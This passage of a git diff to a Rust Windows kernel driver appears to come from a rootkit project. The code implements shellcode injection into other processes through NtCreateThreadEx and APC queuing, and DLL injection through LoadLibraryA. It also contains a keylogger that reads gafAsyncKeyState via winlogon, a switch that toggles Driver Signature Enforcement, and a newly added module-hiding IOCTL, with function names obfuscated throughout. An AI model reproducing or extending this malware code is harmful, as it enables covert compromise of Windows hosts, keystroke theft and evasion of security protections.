graphics_vad_flags: ManuallyDrop, + pub shared_vad_flags: ManuallyDrop, + pub volatile_long: u32, + } + + #[repr(C)] + pub union U1Union { + pub long_flags1: u32, + pub vad_flags1: ManuallyDrop, + } + + #[repr(C)] + pub union U5Union { + pub event_list_ulong_ptr: u64, + pub starting_vpn_higher: u8, + } + + bitfield! { + #[repr(C)] + pub struct MM_PRIVATE_VAD_FLAGS(u32); + impl Debug; + impl Default; + u32; + pub lock, set_lock: 1; + pub lock_contended, set_lock_contended: 1; + pub delete_in_progress, set_delete_in_progress: 1; + pub no_change, set_no_change: 1; + pub vad_type, set_vad_type: 6, 4; + pub protection, set_protection: 11, 7; + pub preferred_node, set_preferred_node: 18, 12; + pub page_size, set_page_size: 19, 20; + pub private_memory_always_set, set_private_memory: 21; + pub write_watch, set_write: 22; + pub fixed_large_page_size, set_page_large: 23; + pub zero_fill_pages_optional, set_zero_fill: 24; + pub graphics, set_graphics: 25; + pub enclave, set_enclave: 26; + pub shadow_stack, set_shadow_stack: 27; + pub physical_memory_pfns_referenced, set_physical: 28; + } + + bitfield! { + #[repr(C)] + pub struct MM_SHARED_VAD_FLAGS(u32); + impl Debug; + impl Default; + u32; + pub lock, set_lock: 1; + pub lock_contended, set_lock_contended: 1; + pub delete_in_progress, set_delete_in_progress: 1; + pub no_change, set_no_change: 1; + pub vad_type, set_vad_type: 6, 4; + pub protection, set_protection: 11, 7; + pub preferred_node, set_preferred_node: 18, 12; + pub page_size, set_page_size: 19, 20; + pub private_memory_always_set, set_private_memory: 21; + pub private_fixup, set_private_fixup: 22; + pub hot_patch_state, set_hot_patch_state: 24, 23; + } + + bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS(u32); + impl Debug; + u32; + pub lock, set_lock: 0; + pub lock_contended, set_lock_contended: 1; + pub delete_in_progress, set_delete_in_progress: 2; + pub no_change, set_no_change: 3; + pub vad_type, set_vad_type: 6, 4; + pub protection, set_protection: 11, 7; + pub preferred_node, set_preferred_node: 18, 12; + pub page_size, set_page_size: 19, 20; + pub private_memory, set_private_memory: 21; + } + + bitfield! { + #[repr(C)] + pub struct MM_GRAPHICS_VAD_FLAGS(u32); + impl Debug; + impl Default; + u32; + pub lock, set_lock: 1; + pub lock_contended, set_lock_contended: 1; + pub delete_in_progress, set_delete_in_progress: 1; + pub no_change, set_no_change: 1; + pub vad_type, set_vad_type: 6, 4; + pub protection, set_protection: 11, 7; + pub preferred_node, set_preferred_node: 18, 12; + pub page_size, set_page_size: 19, 20; + pub private_memory_always_set, set_private_memory: 21; + pub write_watch, set_write: 22; + pub fixed_large_page_size, set_page_large: 23; + pub zero_fill_pages_optional, set_zero_fill: 24; + pub graphics_always_set, set_graphics: 25; + pub graphics_use_coherent, set_graphics_use: 26; + pub graphics_no_cache, set_graphics_no_cache: 27; + pub graphics_page_protection, set_graphics_page_protection: 30, 28; + } + + bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS1(u32); + impl Debug; + pub commit_charge, set_commit_charge: 30, 0; + pub mem_commit, set_mem_commit: 31; + } } pub mod types { @@ -172,33 +297,6 @@ pub mod types { system_argument1: *mut PVOID, system_argument2: *mut PVOID ); - - pub type ZwSuspendThreadType = unsafe extern "system" fn ( - ThreadHandle: HANDLE, - PreviousSuspendCount: *mut u32, - ) -> NTSTATUS; - - pub type ZwResumeThreadType = unsafe extern "system" fn( - ThreadHandle: HANDLE, - PreviousSuspendCount: *mut u32, - ) -> NTSTATUS; - - pub type ZwCreateDebugObjectType = unsafe extern "system" fn( - DebugObjectHandle: *mut HANDLE, - DesiredAccess: ACCESS_MASK, - ObjectAttributes: *mut OBJECT_ATTRIBUTES, - Flags: BOOLEAN, - ) -> NTSTATUS; - - pub type ZwDebugActiveProcessType = unsafe extern "system" fn( - ProcessHandle: HANDLE, - DebugObjectHandle: HANDLE, - ) -> NTSTATUS; - - pub type ZwRemoveProcessDebugType = unsafe extern "system" fn( - ProcessHandle: HANDLE, - DebugObjectHandle: HANDLE, - ) -> NTSTATUS; } pub mod enums { @@ -280,16 +378,4 @@ extern "system" { object_attributes: *mut OBJECT_ATTRIBUTES, client_id: *mut CLIENT_ID ) -> NTSTATUS; - - pub fn PsGetContextThread( - Thread: PETHREAD, - ThreadContext: *mut CONTEXT, - Mode: KPROCESSOR_MODE - ) -> NTSTATUS; - - pub fn PsSetContextThread( - Thread: PETHREAD, - ThreadContext: *mut CONTEXT, - Mode: KPROCESSOR_MODE - ) -> NTSTATUS; } diff --git a/driver/src/includes/vad.rs b/driver/src/includes/vad.rs new file mode 100644 index 0000000..39e7c20 --- /dev/null +++ b/driver/src/includes/vad.rs @@ -0,0 +1,86 @@ +use bitfield::bitfield; +use wdk_sys::LIST_ENTRY; +use super::structs::MMVAD_SHORT; +use core::{ffi::c_void, mem::ManuallyDrop}; + +#[repr(C)] +pub struct MMVAD { + core: MMVAD_SHORT, + u2: U2Union, + pub subsection: *mut SUBSECTION +} + +#[repr(C)] +pub union U2Union { + long_flags2: u32, + vad_flags2: ManuallyDrop +} + +bitfield! { + #[repr(C)] + pub struct MMVAD_FLAGS2(u32); + impl Debug; + u32; + pub file_offset, set_file_offset: 0, 23; // 24 bits + pub large, set_large: 24; // 1 bit + pub trim_behind, set_trim_behind: 25; // 1 bit + pub inherit, set_inherit: 26; // 1 bit + pub no_validation_needed, set_no_validation_needed: 27; // 1 bit + pub private_demand_zero, set_private_demand_zero: 28; // 1 bit + pub spare, set_spare: 29, 31; // 3 bits +} + +#[repr(C)] +pub struct SUBSECTION { + pub control_area: *mut CONTROL_AREA, +} + +#[repr(C)] +pub union LIST_OR_AWE_CONTEXT { + list_head: LIST_ENTRY, + awe_context: *mut c_void, +} + +#[repr(C)] +pub union UUnion { + long_flags: u32, + flags: u32, +} + +#[repr(C)] +pub union U1Union { + long_flags: u32, + flags: u32, +} + +#[repr(C)] +pub struct CONTROL_AREA { + segment: *mut *mut c_void, + list_or_awe_context: LIST_OR_AWE_CONTEXT, + number_of_section_references: u64, + number_of_pfn_references: u64, + number_of_mapped_views: u64, + number_of_user_references: u64, + u: UUnion, + u1: U1Union, + pub file_pointer: EX_FAST_REF +} + +#[repr(C)] +pub union EX_FAST_REF_INNER { + pub object: *mut c_void, + pub value: u64, +} + +bitfield! { + #[repr(C)] + pub struct ExFastRef(u64); + impl Debug; + + pub ref_cnt, set_ref_cnt: 0, 3; +} + +#[repr(C)] +pub struct EX_FAST_REF { + pub inner: EX_FAST_REF_INNER, +} \ No newline at end of file diff --git a/driver/src/injection/ioctls.rs b/driver/src/injection/ioctls.rs index a65b3a1..0d176ad 100644 --- a/driver/src/injection/ioctls.rs +++ b/driver/src/injection/ioctls.rs @@ -1,9 +1,16 @@ use { - alloc::boxed::Box, - hashbrown::HashMap, - shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection}, - wdk_sys::{IO_STACK_LOCATION, IRP}, - crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler}, + crate::{ + handle_injection, + injection::{InjectionDLL, InjectionShellcode}, + utils::ioctls::IoctlHandler + }, + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ + ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, + structs::TargetInjection + }, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS} }; pub fn get_injection_ioctls(ioctls: &mut HashMap) { @@ -11,25 +18,43 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap) { // Process injection using ZwCreateThreadEx. ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD"); + let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); // APC Injection. ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_INJECTION_SHELLCODE_APC"); + let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); // DLL injection using ZwCreateThreadEx. ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_INJECTION_DLL_THREAD"); + let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); } \ No newline at end of file diff --git a/driver/src/injection/mod.rs b/driver/src/injection/mod.rs index 48ec11a..de8cda0 100644 --- a/driver/src/injection/mod.rs +++ b/driver/src/injection/mod.rs @@ -1,29 +1,28 @@ #![allow(non_snake_case)] use { - crate::{ - includes::{ - enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{ - ZwCreateThreadExType, PKNORMAL_ROUTINE - }, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory - }, - process::Process, - utils::{ - find_thread_alertable, find_zw_function, - get_module_peb, read_file, InitializeObjectAttributes - } - }, + obfstr::obfstr, + shared::structs::TargetInjection, callbacks::{kernel_apc_callback, user_apc_callback}, core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut}, - obfstr::obfstr, - shared::structs::TargetInjection, wdk_sys::{ ntddk::{ - ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory, + IoGetCurrentProcess, ZwAllocateVirtualMemory, ZwClose, ZwOpenProcess }, _MODE::{KernelMode, UserMode}, * }, + crate::{ + includes::{ + enums::KAPC_ENVIROMENT::OriginalApcEnvironment, + types::{ZwCreateThreadExType, PKNORMAL_ROUTINE}, + KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory + }, + process::Process, + utils::{ + find_thread_alertable, get_module_peb, handles::Handle, patterns::find_zw_function, pool::PoolMemory, read_file, InitializeObjectAttributes + } + }, }; mod callbacks; @@ -41,19 +40,12 @@ impl InjectionShellcode { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS { + pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> { let pid = (*target).pid; let path = &(*target).path; - let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { - Some(addr) => addr as *mut c_void, - None => return STATUS_UNSUCCESSFUL - }; - - let target_eprocess = match Process::new(pid) { - Some(e_process) => e_process, - None => return STATUS_UNSUCCESSFUL, - }; + let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void; + let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; let mut h_process: HANDLE = null_mut(); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); @@ -64,21 +56,18 @@ impl InjectionShellcode { let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); if !NT_SUCCESS(status) { log::error!("ZwOpenProcess Failed With Status: {status}"); - return status; + return Err(status); } - let shellcode = match read_file(path) { - Ok(buffer) => buffer, - Err(error) => return error - }; - - let mut base_address = null_mut(); + let h_process = Handle::new(h_process); + + let shellcode = read_file(path)?; let mut region_size = shellcode.len() as u64; - status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + let mut base_address = null_mut(); + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if !NT_SUCCESS(status) { log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } let mut result_number = 0; @@ -93,11 +82,10 @@ impl InjectionShellcode { ); let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); + status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); if !NT_SUCCESS(status) { log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); @@ -107,7 +95,7 @@ impl InjectionShellcode { &mut h_thread, THREAD_ALL_ACCESS, &mut obj_attr, - h_process, + h_process.get(), transmute(base_address), null_mut(), 0, @@ -118,14 +106,12 @@ impl InjectionShellcode { ); if !NT_SUCCESS(status) { log::error!("ZwCreateThreadEx Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } - ZwClose(h_process); ZwClose(h_thread); - STATUS_SUCCESS + Ok(()) } /// Injection Shellcode in APC. @@ -136,42 +122,32 @@ impl InjectionShellcode { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - pub unsafe fn injection_apc(target: *mut TargetInjection) -> NTSTATUS { + pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> { let pid = (*target).pid; let path = &(*target).path; - let shellcode = match read_file(path) { - Ok(buffer) => buffer, - Err(error) => return error - }; - - let thread_id = match find_thread_alertable(pid) { - Some(tid) => tid, - None => return STATUS_UNSUCCESSFUL - }; + let shellcode = read_file(path)?; + let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?; + let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - let target_eprocess = match Process::new(pid) { - Some(e_process) => e_process, - None => return STATUS_UNSUCCESSFUL, - }; let mut h_process: HANDLE = null_mut(); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut(), }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); if !NT_SUCCESS(status) { log::error!("ZwOpenProcess Failed With Status: {status}"); - return status; + return Err(status); } + let h_process = Handle::new(h_process); let mut base_address = null_mut(); let mut region_size = shellcode.len() as u64; - status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if !NT_SUCCESS(status) { log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - return status; + return Err(status); } let mut result_number = 0; @@ -185,17 +161,19 @@ impl InjectionShellcode { &mut result_number, ); - let user_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"krts")) as *mut KAPC; - if user_apc.is_null() { - log::error!("ExAllocatePool2 (User) Failed"); - return STATUS_UNSUCCESSFUL; - } + let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"krts")) + .map(|mem| mem.ptr as *mut KAPC) + .ok_or_else(|| { + log::error!("PoolMemory (User) Failed"); + STATUS_UNSUCCESSFUL + })?; - let kernel_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"urds")) as *mut KAPC; - if kernel_apc.is_null() { - log::error!("ExAllocatePool2 (Kernel) Failed"); - return STATUS_UNSUCCESSFUL; - } + let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"urds")) + .map(|mem| mem.ptr as *mut KAPC) + .ok_or_else(|| { + log::error!("PoolMemory (Kernel) Failed"); + STATUS_UNSUCCESSFUL + })?; KeInitializeApc( kernel_apc, @@ -221,15 +199,15 @@ impl InjectionShellcode { if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) { log::error!("KeInsertQueueApc (User) Failed"); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) { log::error!("KeInsertQueueApc (Kernel) Failed"); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } - STATUS_SUCCESS + Ok(()) } } @@ -245,25 +223,13 @@ impl InjectionDLL { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS { + pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> { let pid = (*target).pid; let path = (*target).path.as_bytes(); + let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?; + let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?; + let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { - Some(addr) => addr as *mut c_void, - None => return STATUS_UNSUCCESSFUL - }; - - let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL - }; - - let target_eprocess = match Process::new(pid) { - Some(e_process) => e_process, - None => return STATUS_UNSUCCESSFUL, - }; - let mut h_process: HANDLE = null_mut(); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut client_id = CLIENT_ID { @@ -273,16 +239,17 @@ impl InjectionDLL { let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); if !NT_SUCCESS(status) { log::error!("ZwOpenProcess Failed With Status: {status}"); - return status; + return Err(status); } + let h_process = Handle::new(h_process); + let mut base_address = null_mut(); let mut region_size = (path.len() * size_of::()) as u64; - status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if !NT_SUCCESS(status) { log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } let mut result_number = 0; @@ -297,11 +264,10 @@ impl InjectionDLL { ); let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); + status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); if !NT_SUCCESS(status) { log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); @@ -311,7 +277,7 @@ impl InjectionDLL { &mut h_thread, THREAD_ALL_ACCESS, &mut obj_attr, - h_process, + h_process.get(), transmute(function_address), base_address, 0, @@ -322,13 +288,11 @@ impl InjectionDLL { ); if !NT_SUCCESS(status) { log::error!("ZwCreateThreadEx Failed With Status: {status}"); - ZwClose(h_process); - return status; + return Err(status); } - ZwClose(h_process); ZwClose(h_thread); - STATUS_SUCCESS + Ok(()) } } diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 31dbe69..0fb380a 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -171,13 +171,12 @@ pub unsafe extern "system" fn shadow_entry( pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; - let status; - - if let Some(handler) = IOCTL_MAP.get(&control_code) { - status = handler(irp, stack); + + let status = if let Some(handler) = IOCTL_MAP.get(&control_code) { + handler(irp, stack) } else { - status = STATUS_INVALID_DEVICE_REQUEST; - } + STATUS_INVALID_DEVICE_REQUEST + }; (*irp).IoStatus.__bindgen_anon_1.Status = status; IofCompleteRequest(irp, IO_NO_INCREMENT as i8); diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs index 64d4d8b..167b4a9 100644 --- a/driver/src/misc/ioctls.rs +++ b/driver/src/misc/ioctls.rs @@ -1,10 +1,11 @@ use { - alloc::boxed::Box, - hashbrown::HashMap, - wdk_sys::{IO_STACK_LOCATION, IRP}, - super::keylogger::set_keylogger_state, - crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, - shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}}, + super::keylogger::set_keylogger_state, + crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, + structs::{Keylogger, DSE}}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, }; pub fn get_misc_ioctls(ioctls: &mut HashMap) { @@ -12,9 +13,15 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { // Responsible for enabling/disabling DSE. ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENABLE_DSE"); + let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; + unsafe { (*irp).IoStatus.Information = 0 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); // Start / Stop Keylogger diff --git a/driver/src/misc/keylogger/mod.rs b/driver/src/misc/keylogger/mod.rs index 60b192a..f855020 100644 --- a/driver/src/misc/keylogger/mod.rs +++ b/driver/src/misc/keylogger/mod.rs @@ -8,7 +8,7 @@ use { get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory, is_key_down, set_key_down, - utils::{get_address_asynckey, get_module_base_address, get_process_by_name}, + utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name}, }, wdk_sys::{ ntddk::{ @@ -172,20 +172,10 @@ unsafe fn get_gafasynckeystate_address() -> Option { return None; } - let winlogon_eprocess = match WINLOGON_EPROCESS.as_ref() { - Some(p) => p, - None => return None - }; - - let module_address = match get_module_base_address(obfstr!("win32kbase.sys")) { - Some(addr) => addr, - None => return None - }; - let function_address = match get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) { - Some(addr) => addr, - None => return None, - }; + let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?; + let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; + let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?; let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200); KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state); @@ -203,7 +193,6 @@ unsafe fn get_gafasynckeystate_address() -> Option { let new_base = function_address.cast::().offset((position + 4) as isize); let gaf_async_key_state = new_base.cast::().offset(offset as isize); - log::info!("gafAsyncKeyState address: {:?}", gaf_async_key_state); KeUnstackDetachProcess(&mut apc_state); @@ -225,5 +214,6 @@ unsafe fn get_gafasynckeystate_address() -> Option { /// pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS { STATUS = (*info).enable; + STATUS_SUCCESS } diff --git a/driver/src/module/ioctls.rs b/driver/src/module/ioctls.rs index 545de11..c553a5f 100644 --- a/driver/src/module/ioctls.rs +++ b/driver/src/module/ioctls.rs @@ -1,17 +1,39 @@ use { alloc::boxed::Box, hashbrown::HashMap, - shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}}, - wdk_sys::{IO_STACK_LOCATION, IRP}, + shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, crate::{handle_module, module::Module, utils::ioctls::IoctlHandler}, }; pub fn get_module_ioctls(ioctls: &mut HashMap) { + + // Enumerate Modules ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENUMERATE_MODULE"); + let mut information = 0; let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } + }) as IoctlHandler); + + // Hide Modules + ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_MODULE"); + + let status = unsafe { handle_module!(stack, Module::hide_module, TargetModule) }; + + unsafe { (*irp).IoStatus.Information = 0}; + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); } \ No newline at end of file diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs index ced794e..f2bf2ea 100644 --- a/driver/src/module/mod.rs +++ b/driver/src/module/mod.rs @@ -1,63 +1,73 @@ -extern crate alloc; - use { - crate::{includes::{PsGetProcessPeb, MmCopyVirtualMemory}, process::Process}, + crate::{ + includes::{ + structs::MMVAD_SHORT, vad::MMVAD, + MmCopyVirtualMemory, PsGetProcessPeb + }, + process::Process, utils::pool::PoolMemory + }, ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, - shared::structs::{ModuleInfo, TargetProcess}, + shared::structs::{ModuleInfo, TargetProcess, TargetModule}, wdk_sys::{ ntddk::{ - ExAllocatePool2, ExFreePool, IoGetCurrentProcess, KeStackAttachProcess, + IoGetCurrentProcess, KeStackAttachProcess, KeUnstackDetachProcess, }, - KAPC_STATE, NTSTATUS, STATUS_INVALID_PARAMETER, - STATUS_SUCCESS, STATUS_UNSUCCESSFUL, _MODE::KernelMode, POOL_FLAG_NON_PAGED + FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE, + STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, + _MODE::KernelMode }, winapi::shared::ntdef::LIST_ENTRY }; pub mod ioctls; +pub mod vad; /// Represents a module in the operating system. pub struct Module; impl Module { + + /// VAD Type for an image map. + const VAD_IMAGE_MAP: u32 = 2; + /// Enumerates modules in a given target process. /// /// # Parameters - /// - `process`: A pointer to the target process (`*mut TargetProcess`) to enumerate modules from. - /// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the modules. + /// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated. + /// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules. /// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration. /// /// # Returns /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status. /// - pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> NTSTATUS { + pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> { log::info!("Starting module enumeration"); - + let pid = (*process).pid; let mut apc_state: KAPC_STATE = core::mem::zeroed(); let temp_info_size = 256 * core::mem::size_of::(); - let temp_info = ExAllocatePool2(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) as *mut ModuleInfo; - if temp_info.is_null() { - log::error!("ExAllocatePool2 Failed to Allocate Memory"); - return STATUS_UNSUCCESSFUL - } - - let target = match Process::new(pid) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + // Allocates memory for temporarily storing module information + let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) + .map(|mem| mem.ptr as *mut ModuleInfo) + .ok_or_else(|| { + log::error!("PoolMemory (Module) Failed"); + STATUS_UNSUCCESSFUL + })?; + // Attaches the target process to the current context + let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; KeStackAttachProcess(target.e_process, &mut apc_state); + // Gets the PEB (Process Environment Block) of the target process let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; if target_peb.is_null() || (*target_peb).Ldr.is_null() { KeUnstackDetachProcess(&mut apc_state); - ExFreePool(temp_info as _); - return STATUS_INVALID_PARAMETER; + return Err(STATUS_INVALID_PARAMETER); } + // Enumerates the loaded modules from the InLoadOrderModuleList let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; let mut count = 0; @@ -66,37 +76,28 @@ impl Module { if next.is_null() { log::error!("Next LIST_ENTRY is null"); KeUnstackDetachProcess(&mut apc_state); - ExFreePool(temp_info as _); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } let list_entry = next as 